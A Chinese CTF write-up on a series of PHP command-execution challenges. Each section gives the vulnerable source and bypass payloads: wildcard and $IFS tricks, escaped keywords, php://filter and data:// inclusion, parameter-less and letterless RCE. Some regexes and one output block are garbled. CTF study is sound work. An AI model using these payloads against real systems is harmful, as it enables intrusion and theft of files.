命令执行,需要严格的过滤
进入题目链接 这是源码
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
preg_match 函数:用于执行一个正则表达式匹配
题目限制了不能出现flag
两种解法:
?c=system(ls);
页面回显:绕过 flag ,通配符绕过
linux 中有一些通配符
*
代表任意字符 0个或多个
?
代表任意字符 1 个
[abcd]
匹配abcd中一个字符
[a-z]
匹配范围 a-z
还可以这样绕过:
fla\g.php
fla''g.php
构造payload :
?c=system('cat *');
?c=system('cat fl?g.php');
?c=system('cat f[a-z]ag.php');
2.另一种解法:(文件包含)
eval: 把字符串作为PHP代码执行
传入:?c=echo "hello";?> 看到有flag.php
利用文件包含
构造:
?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php
命令执行,需要严格的过滤
过滤增加了:flag
,system
,php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
其他函数替代
system() # 相当于cmd
passthru() # passthru — 执行外部程序并且显示原始输出
exec() # exec — 执行一个外部程序
shell_exec() # shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
需要注意一下
只有system()
函数是有回显的,其他的函数可以通过echo
等显示
playload:
?c=echo `nl fl''ag.p''hp`;
或者 文件包含依然是可以的
?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php
命令执行,需要严格的过滤
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{cat,flag}
1.代替
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file
paste 指令会把每个文件以列对列的方式,一列列地加以合并。
2.使用转义符
ca\t /fl\ag
cat fl''ag
3.内联执行绕过
拼接flag
1;a=fl;b=ag.php;cat$IFS$a$b
4.变量绕过
a=c;b=a;c=t;
$a$b$c 1.txt
5.编码进制绕过
echo 'cat' | base64
Y2F0wqAK
`echo 'Y2F0wqAK' | base64 -d` 1.txt
hello world
开始进入正题
这道题
过滤了
flag
system
php
cat
sort
shell
\.
空格
\'
playload:
?c=echo(`tac%09f*`);
文件包含依然是可以的
?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php
base64解码即可
32:多过滤了 反引号,括号,echo
33:多过滤了一个双引号
34:多过滤多了一个:
35:多过滤了 <
、=
36:多过滤了 数字
playload:
/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
打着很爽 蛤蛤蛤
对的就是 这样 请继续
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
过滤了flag
又是 include文件包含了
所以之前的playload 得改一下
data:// -----可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
具体看这里
playload:
1./?c=data://text/plain;
2./?c=data://text/plain,
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
多过滤了 php
,file
多了php
过滤
将这个添加
base64编码
即可
playload:
1./?c=data://text/plain,
2./?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
这里文件包含了.php
但是因为前面的php语句已经闭合了,所以后面的.php
会被当成html页面直接显示在页面上,起不到什么 作用
playload:
1./?c=data://text/plain;
2./?c=data://text/plain,
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了引号、$、冒号,还不能用伪协议。
一般括号里参数都要用引号,这里学习一下无参数RCE(remote
command/code execute)
具体看这里
print_r
:进行输出
scandir(current(localeconv()))
查看当前目录所有文件名
/?c=print_r(scandir(current(localeconv())));
flag.php在倒数第二个
array_reverse
进行逆转数组,然后next()
函数进行下一个值读取
直接用next(array_reverse());
playload:
/?c=show_source(next(array_reverse(scandir(current(localeconv())))));
题目源码
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
这道题过滤了数字
字母
\^
\+
\~
\$
\[
\]
\}
\&
\-
且不区分大小写
先上一份大佬的wp 具体看这里
题目源码
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
payload:
/?c=ls;
/?c=cat flag.php;
题目源码
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤 ;
使用换行符 %0a
过滤cat
使用tac
playload:
/?c=ls%0a
/?c=tac flag.php%0a
题目源码
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
增加了过滤:flag
用*任意字符匹配就完事了
playload:
/?c=ls%0a
/?c=tac f*.php%0a
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
增加过滤:空格
空格绕过
>` `<` `<>` 重定向符
`%09`(需要php环境)
`${IFS}`
`$IFS$9`
`{cat,flag.php}` //用逗号实现了空格功能
`%20`
`%09
playload:
/?c=ls%0a
1:/?c=tac f*.php%0a
2:/?c=tac$IFS$9f*%0a
3:/?c=tac${IFS}f*%0a
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了数字
、$
、*
playload:
/?c=ls%0a
/?c=tac%09fla?.php%0a
题目源码
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了 more
、less
、 head
、sort
、tail
但是 tac 、od 、uniq 等没被过滤耶
playload:
/?c=ls%0a
/?c=tac%09fla?.php%0a
题目源码
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了一些读取函数。
payload:
/?c=tac%09fla?.php%0a
/?c=tac<fla''g.php%0a
题目源码
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤反引号
payload:
/?c=tac%09fla?.php%0a
/?c=tac<fla''g.php%0a
题目源码
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤 % 、 09 、26
playload:
/?c=tac<fla''g.php%0a
/?c=tac<>fla\g.php%0a
sset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了 tac
,但是我们还可以用 nl
playload:
?c=nl<fla\g.php%0a
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了 重定向符 <
>
,但是这里没过滤 $
/?c=nl${IFS}fla\g.php%0a
得到一个假的flag
查询根目录有啥文件
/?c=ls${IFS}/%0a
页面回显
?c=nl${IFS}/fla''g%0a
这道题也没啥呀
payload:
?c=ls%0a
?c=nl<fla''g.php%0a
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了一些查看文件指令
payload:
/?c=paste${IFS}fla?.php%0a
/?c=/bin/?at${IFS}f?ag.php%0a
/?c=/bin/?at${IFS}f???????
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
直接过滤了所有小写字母!!!
那么这里肯定是要无字符 rce
但是这里没有过滤通配符,所以可以找到一个带有数字的命令,利用通配符执行命令。
bin目录:
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
playload:
?c=/???/????64 ????????
解码即得到flag.
/usr/bin目录:
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。
我们可以利用/usr/bin下的bzip2
意思就是说我们先将flag.php文件进行压缩,然后再将其下载
bzip2 是 linux 下面的压缩文件的命令。在 /usr/bin/bzip2
构造playload
/?c=/???/???/???2 ???
然后访问 flag.php.bz2 下载即可获得 flag.php
3.临时文件上传 具体看这里,还有这里
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
这里只需要构造 传参 36 即可,但是数字字符都被ban了。
paylaod:
paylaod
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
linux echo 一下是 36.
payload:
c=show_source('flag.php');
构造 payload:
c=highlight_file('/flag.txt');
c=var_dump(scandir('.'));
回显
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }
c=highlight_file('flag.php');
这个是假的
最终
c=highlight_file('/flag.txt');
c=var_dump(scandir('/'));
得到
array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" }
有个 flag.txt
readfile
、show_source
、 highlight_file
被禁用了.
读取不了,但是我们还可以直接文件包含。
c=include('/flag.txt');
var_dump 也被禁用
var_export :输出或返回一个变量的字符串表示
c=var_export(scandir('/'));
回显
array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )
然后继续文件包含
c=include('/flag.txt');
playload:
c=var_export(scandir('/'));
c=include('/flag.txt');
c=var_export(scandir('/'));
回显
???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ????? ( ? => '.', ? => '..', ? => '.?????????', ? => '???', ? => '???', ? => '???', ? => '????.???', ? => '????', ? => '???', ? => '?????', ?? => '???', ?? => '???', ?? => '????', ?? => '????', ?? => '???', ?? => '????', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ) 你要上天吗?
然后 发现有一个附件